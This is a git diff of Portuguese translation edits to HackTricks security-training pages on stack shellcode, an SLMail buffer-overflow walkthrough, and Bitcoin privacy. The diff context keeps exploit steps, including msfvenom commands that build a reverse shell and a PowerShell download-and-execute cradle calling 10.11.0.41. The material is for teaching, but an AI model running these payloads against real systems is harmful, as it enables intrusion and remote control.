{% endhint %} @@ -79,9 +79,9 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -Este script constrói um payload consistindo de um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado. +Este script constrói um payload consistindo em um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado. -O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode, independentemente do endereço exato. Ajuste o argumento `p32()` para o endereço inicial do seu buffer mais um offset para cair no NOP slide. +O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode, independentemente do endereço exato. Ajuste o argumento `p32()` para o endereço inicial do seu buffer mais um deslocamento para cair no NOP slide. ## Proteções @@ -102,16 +102,16 @@ O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execuç * arm64, sem ASLR, gadget ROP para tornar a pilha executável e saltar para o shellcode na pilha {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md index 5fbaacba6..8b70c86e9 100644 --- a/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md +++ b/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -83,7 +83,7 @@ p.send(payload) # Drop to an interactive session p.interactive() ``` -A única coisa "complicada" de encontrar aqui seria o endereço na pilha para chamar. No meu caso, eu gerei o exploit com o endereço encontrado usando gdb, mas depois, ao explorá-lo, não funcionou (porque o endereço da pilha mudou um pouco). +A única coisa "complicada" a encontrar aqui seria o endereço na pilha para chamar. No meu caso, eu gerei o exploit com o endereço encontrado usando gdb, mas depois, ao explorá-lo, não funcionou (porque o endereço da pilha mudou um pouco). Eu abri o **`core` file** gerado (`gdb ./bog ./core`) e verifiquei o endereço real do início do shellcode. diff --git a/binary-exploitation/stack-overflow/uninitialized-variables.md b/binary-exploitation/stack-overflow/uninitialized-variables.md index 8f6c49ca6..e7b37ca41 100644 --- a/binary-exploitation/stack-overflow/uninitialized-variables.md +++ b/binary-exploitation/stack-overflow/uninitialized-variables.md @@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -19,15 +19,15 @@ Aprenda e pratique Hacking GCP: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md b/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md index 7cbfef136..33da2be34 100644 --- a/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md +++ b/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md @@ -1,25 +1,25 @@ -# Exploração do Windows (Guia Básico - Nível OSCP) +# Windows Exploiting (Guia Básico - Nível OSCP) {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking na GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## **Comece instalando o serviço SLMail** +## **Comece a instalar o serviço SLMail** ## Reiniciar o serviço SLMail -Toda vez que precisar **reiniciar o serviço SLMail**, você pode fazer isso usando o console do Windows: +Toda vez que você precisar **reiniciar o serviço SLMail**, você pode fazê-lo usando o console do Windows: ``` net start slmail ``` @@ -47,7 +47,7 @@ print "\nFinished!." except: print "Could not connect to "+ip+":"+port ``` -## **Alterar a Fonte do Immunity Debugger** +## **Mudar a Fonte do Immunity Debugger** Vá para `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` @@ -59,11 +59,11 @@ Vá para `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` **E pressione o botão START** -## **Enviar o exploit e verificar se o EIP é afetado:** +## **Envie o exploit e verifique se o EIP está afetado:** ![](<../.gitbook/assets/image (906).png>) -Cada vez que você interromper o serviço, você deve reiniciá-lo, como indicado no início desta página. +Toda vez que você interromper o serviço, deve reiniciá-lo, conforme indicado no início desta página. ## Criar um padrão para modificar o EIP @@ -73,9 +73,9 @@ O padrão deve ser tão grande quanto o buffer que você usou para interromper o ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` -Alterar o buffer do exploit e definir o padrão e executar o exploit. +Altere o buffer do exploit e defina o padrão e inicie o exploit. -Deve surgir uma nova falha, mas com um endereço EIP diferente: +Um novo crash deve aparecer, mas com um endereço EIP diferente: ![](<../.gitbook/assets/image (636).png>) @@ -85,13 +85,13 @@ Verifique se o endereço estava no seu padrão: ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` -Parece que **podemos modificar o EIP no deslocamento 2606** do buffer. +Parece que **podemos modificar o EIP no offset 2606** do buffer. Verifique modificando o buffer do exploit: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` -Com este buffer, o EIP quebrado deve apontar para 42424242 ("BBBB") +Com este buffer, o EIP quebrou deve apontar para 42424242 ("BBBB") ![](<../.gitbook/assets/image (874).png>) @@ -99,25 +99,25 @@ Com este buffer, o EIP quebrado deve apontar para 42424242 ("BBBB") Parece que está funcionando. -## Verificar espaço para Shellcode dentro da pilha +## Verifique o espaço para Shellcode dentro da pilha 600B deve ser suficiente para qualquer shellcode poderoso. -Vamos alterar o buffer: +Vamos mudar o bufer: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` -Lance o novo exploit e verifique o EBP e o comprimento do shellcode útil +lançar o novo exploit e verificar o EBP e o comprimento do shellcode útil ![](<../.gitbook/assets/image (119).png>) ![](<../.gitbook/assets/image (879).png>) -Você pode ver que quando a vulnerabilidade é alcançada, o EBP está apontando para o shellcode e que temos muito espaço para localizar um shellcode aqui. +Você pode ver que, quando a vulnerabilidade é alcançada, o EBP está apontando para o shellcode e que temos muito espaço para localizar um shellcode aqui. Neste caso, temos **de 0x0209A128 a 0x0209A2D6 = 430B.** Suficiente. -## Verifique os caracteres inválidos +## Verifique os caracteres ruins Mude novamente o buffer: ``` @@ -143,11 +143,11 @@ buffer = 'A'*2606 + 'BBBB' + badchars ``` Os badchars começam em 0x01 porque 0x00 é quase sempre ruim. -Execute repetidamente o exploit com este novo buffer eliminando os caracteres que são considerados inúteis:. +Execute repetidamente o exploit com este novo buffer removendo os caracteres que se mostram inúteis: Por exemplo: -Neste caso, você pode ver que **não deve usar o caractere 0x0A** (nada é salvo na memória desde o caractere 0x09). +Neste caso, você pode ver que **você não deve usar o caractere 0x0A** (nada é salvo na memória desde o caractere 0x09). ![](<../.gitbook/assets/image (111).png>) @@ -161,13 +161,13 @@ Usando: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` -Você irá **listar os mapas de memória**. Procure por alguma DLL que tenha: +Você irá **listar os mapas de memória**. Procure por algum DLL que tenha: -- **Rebase: False** -- **SafeSEH: False** -- **ASLR: False** -- **NXCompat: False** -- **OS Dll: True** +* **Rebase: Falso** +* **SafeSEH: Falso** +* **ASLR: Falso** +* **NXCompat: Falso** +* **OS Dll: Verdadeiro** ![](<../.gitbook/assets/image (555).png>) @@ -176,20 +176,20 @@ Agora, dentro dessa memória você deve encontrar alguns bytes JMP ESP, para faz !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` -**Então, se algum endereço for encontrado, escolha um que não contenha nenhum caractere ruim:** +**Então, se algum endereço for encontrado, escolha um que não contenha nenhum badchar:** ![](<../.gitbook/assets/image (605).png>) -**Neste caso, por exemplo: \_0x5f4a358f**\_ +**Neste caso, por exemplo: \_0x5f4a358f**\_ ## Criar shellcode ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` -Se o exploit não estiver funcionando, mas deveria (você pode ver com o ImDebg que o shellcode está sendo alcançado), tente criar outros shellcodes (msfvenom com diferentes shellcodes para os mesmos parâmetros). +Se o exploit não estiver funcionando, mas deveria (você pode ver com ImDebg que o shellcode é alcançado), tente criar outros shellcodes (msfvenom com criar diferentes shellcodes para os mesmos parâmetros). -**Adicione alguns NOPS no início** do shellcode e use-o e o endereço de retorno para JMP ESP e finalize o exploit: +**Adicione alguns NOPS no início** do shellcode e use-o e o endereço de retorno para JMP ESP, e finalize o exploit: ```bash #!/usr/bin/python @@ -239,7 +239,7 @@ except: print "Could not connect to "+ip+":"+port ``` {% hint style="warning" %} -Existem shellcodes que **se sobrescreverão**, portanto é importante sempre adicionar alguns NOPs antes do shellcode +Existem shellcodes que **sobrescrevem a si mesmos**, portanto, é importante sempre adicionar alguns NOPs antes do shellcode {% endhint %} ## Melhorando o shellcode @@ -249,16 +249,16 @@ Adicione estes parâmetros: EXITFUNC=thread -e x86/shikata_ga_nai ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/blockchain/blockchain-and-crypto-currencies/README.md b/blockchain/blockchain-and-crypto-currencies/README.md index f99800bb7..8c3f934bc 100644 --- a/blockchain/blockchain-and-crypto-currencies/README.md +++ b/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -16,129 +16,131 @@ Aprenda e pratique Hacking GCP: 4 btc 3 btc 1 btc ``` -## **Reutilização Forçada de Endereços** +Se adicionar mais entradas faz com que a saída de troco seja maior do que qualquer entrada única, isso pode confundir a heurística. -Os atacantes podem enviar pequenas quantias para endereços usados anteriormente, esperando que o destinatário combine essas com outras entradas em transações futuras, vinculando assim os endereços. +## **Reutilização Forçada de Endereço** + +Os atacantes podem enviar pequenas quantias para endereços previamente utilizados, na esperança de que o destinatário combine essas quantias com outras entradas em transações futuras, ligando assim os endereços. ### Comportamento Correto da Carteira -As carteiras devem evitar usar moedas recebidas em endereços já utilizados e vazios para evitar essa exposição de privacidade. +As carteiras devem evitar usar moedas recebidas em endereços já utilizados e vazios para prevenir esse vazamento de privacidade. ## **Outras Técnicas de Análise de Blockchain** -- **Quantias de Pagamento Exatas:** Transações sem troco provavelmente são entre dois endereços pertencentes ao mesmo usuário. -- **Números Redondos:** Um número redondo em uma transação sugere um pagamento, sendo a saída não redonda provavelmente o troco. -- **Identificação de Carteira:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software usado e potencialmente o endereço de troco. -- **Correlações de Quantia e Tempo:** Divulgar horários ou quantias de transação pode tornar as transações rastreáveis. +- **Valores de Pagamento Exatos:** Transações sem troco são provavelmente entre dois endereços pertencentes ao mesmo usuário. +- **Números Redondos:** Um número redondo em uma transação sugere que é um pagamento, com a saída não redonda provavelmente sendo o troco. +- **Impressão Digital de Carteira:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software utilizado e potencialmente o endereço de troco. +- **Correlações de Quantidade e Tempo:** Divulgar horários ou quantidades de transações pode tornar as transações rastreáveis. ## **Análise de Tráfego** -Ao monitorar o tráfego de rede, os atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações. +Ao monitorar o tráfego da rede, os atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações. ## Mais -Para uma lista abrangente de ataques e defesas de privacidade, visite [Privacidade do Bitcoin na Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). - +Para uma lista abrangente de ataques à privacidade e defesas, visite [Privacidade do Bitcoin na Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). # Transações Anônimas de Bitcoin -## Formas de Obter Bitcoins de Forma Anônima +## Formas de Obter Bitcoins Anonimamente -- **Transações em Dinheiro**: Adquirir bitcoin em dinheiro. +- **Transações em Dinheiro**: Adquirir bitcoin através de dinheiro. - **Alternativas em Dinheiro**: Comprar cartões-presente e trocá-los online por bitcoin. -- **Mineração**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feita sozinha, pois os grupos de mineração podem conhecer o endereço IP do minerador. [Informações sobre Grupos de Mineração](https://en.bitcoin.it/wiki/Pooled_mining) -- **Roubo**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo de forma anônima, embora seja ilegal e não recomendado. +- **Mineração**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feito sozinho, pois pools de mineração podem conhecer o endereço IP do minerador. [Informações sobre Pools de Mineração](https://en.bitcoin.it/wiki/Pooled_mining) +- **Roubo**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo anonimamente, embora seja ilegal e não recomendado. ## Serviços de Mistura -Ao usar um serviço de mistura, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que torna difícil rastrear o proprietário original. No entanto, isso requer confiança no serviço para não manter logs e realmente devolver os bitcoins. Opções alternativas de mistura incluem cassinos de Bitcoin. +Ao usar um serviço de mistura, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que dificulta o rastreamento do proprietário original. No entanto, isso requer confiança no serviço para não manter registros e realmente devolver os bitcoins. Opções alternativas de mistura incluem cassinos de Bitcoin. ## CoinJoin -**CoinJoin** mescla várias transações de diferentes usuários em uma só, complicando o processo para quem tenta associar entradas com saídas. Apesar de sua eficácia, transações com tamanhos de entrada e saída únicos ainda podem ser potencialmente rastreadas. +**CoinJoin** mescla várias transações de diferentes usuários em uma só, complicando o processo para qualquer um que tente combinar entradas com saídas. Apesar de sua eficácia, transações com tamanhos de entrada e saída únicos ainda podem ser potencialmente rastreadas. -Exemplos de transações que podem ter usado o CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +Transações de exemplo que podem ter usado CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. -Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço similar no Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores. +Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço semelhante no Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores. ## PayJoin -Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem a característica distintiva de saídas iguais do CoinJoin. Isso torna extremamente difícil de detectar e poderia invalidar a heurística comum de propriedade de entrada usada por entidades de vigilância de transações. +Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem a característica distintiva de saídas iguais do CoinJoin. Isso torna extremamente difícil de detectar e pode invalidar a heurística de propriedade de entrada comum usada por entidades de vigilância de transações. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` -Transações como a acima poderiam ser PayJoin, aumentando a privacidade enquanto permanecem indistinguíveis das transações padrão de bitcoin. +Transações como a acima poderiam ser PayJoin, melhorando a privacidade enquanto permanecem indistinguíveis de transações padrão de bitcoin. -**A utilização do PayJoin poderia perturbar significativamente os métodos tradicionais de vigilância**, tornando-se um desenvolvimento promissor na busca pela privacidade transacional. +**A utilização de PayJoin poderia desestabilizar significativamente os métodos tradicionais de vigilância**, tornando-se um desenvolvimento promissor na busca pela privacidade transacional. # Melhores Práticas para Privacidade em Criptomoedas @@ -147,12 +149,12 @@ Transações como a acima poderiam ser PayJoin, aumentando a privacidade enquant Para manter a privacidade e segurança, sincronizar carteiras com a blockchain é crucial. Dois métodos se destacam: -- **Nó completo**: Ao baixar toda a blockchain, um nó completo garante máxima privacidade. Todas as transações já feitas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços o usuário está interessado. -- **Filtragem de bloco do lado do cliente**: Este método envolve a criação de filtros para cada bloco na blockchain, permitindo que as carteiras identifiquem transações relevantes sem expor interesses específicos a observadores de rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando uma correspondência com os endereços do usuário é encontrada. +- **Nó completo**: Ao baixar toda a blockchain, um nó completo garante máxima privacidade. Todas as transações já realizadas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços o usuário está interessado. +- **Filtragem de blocos do lado do cliente**: Este método envolve a criação de filtros para cada bloco na blockchain, permitindo que carteiras identifiquem transações relevantes sem expor interesses específicos a observadores da rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando uma correspondência com os endereços do usuário é encontrada. ## **Utilizando Tor para Anonimato** -Dado que o Bitcoin opera em uma rede peer-to-peer, usar o Tor é recomendado para mascarar seu endereço IP, aumentando a privacidade ao interagir com a rede. +Dado que o Bitcoin opera em uma rede peer-to-peer, é recomendado usar Tor para ocultar seu endereço IP, melhorando a privacidade ao interagir com a rede. ## **Prevenindo Reutilização de Endereços** @@ -161,24 +163,24 @@ Para proteger a privacidade, é vital usar um novo endereço para cada transaç ## **Estratégias para Privacidade de Transações** - **Múltiplas transações**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques à privacidade. -- **Evitar troco**: Optar por transações que não exigem troco aprimora a privacidade ao interromper métodos de detecção de troco. +- **Evitar troco**: Optar por transações que não exigem saídas de troco melhora a privacidade ao interromper métodos de detecção de troco. - **Múltiplas saídas de troco**: Se evitar troco não for viável, gerar múltiplas saídas de troco ainda pode melhorar a privacidade. # **Monero: Um Farol de Anonimato** -O Monero aborda a necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão de privacidade. +Monero aborda a necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão para a privacidade. -# **Ethereum: Gás e Transações** +# **Ethereum: Gas e Transações** -## **Compreendendo o Gás** +## **Entendendo Gas** -O Gás mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação custando 2.310.000 gwei (ou 0,00231 ETH) envolve um limite de gás e uma taxa base, com uma gorjeta para incentivar os mineradores. Os usuários podem definir uma taxa máxima para garantir que não paguem a mais, com o excesso sendo reembolsado. +Gas mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação que custa 2.310.000 gwei (ou 0.00231 ETH) envolve um limite de gas e uma taxa base, com uma gorjeta para incentivar os mineradores. Os usuários podem definir uma taxa máxima para garantir que não paguem a mais, com o excesso reembolsado. ## **Executando Transações** -Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou contratos inteligentes. Elas requerem uma taxa e devem ser mineradas. Informações essenciais em uma transação incluem o destinatário, assinatura do remetente, valor, dados opcionais, limite de gás e taxas. Notavelmente, o endereço do remetente é deduzido da assinatura, eliminando a necessidade dele nos dados da transação. +Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou de contrato inteligente. Elas requerem uma taxa e devem ser mineradas. As informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, o valor, dados opcionais, limite de gas e taxas. Notavelmente, o endereço do remetente é deduzido da assinatura, eliminando a necessidade de incluí-lo nos dados da transação. -Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje se envolver com criptomoedas priorizando privacidade e segurança. +Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje se envolver com criptomoedas enquanto prioriza a privacidade e a segurança. ## Referências @@ -192,16 +194,16 @@ Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje s {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/burp-suite.md b/burp-suite.md index 183b45a6b..f710ad453 100644 --- a/burp-suite.md +++ b/burp-suite.md @@ -1,28 +1,28 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
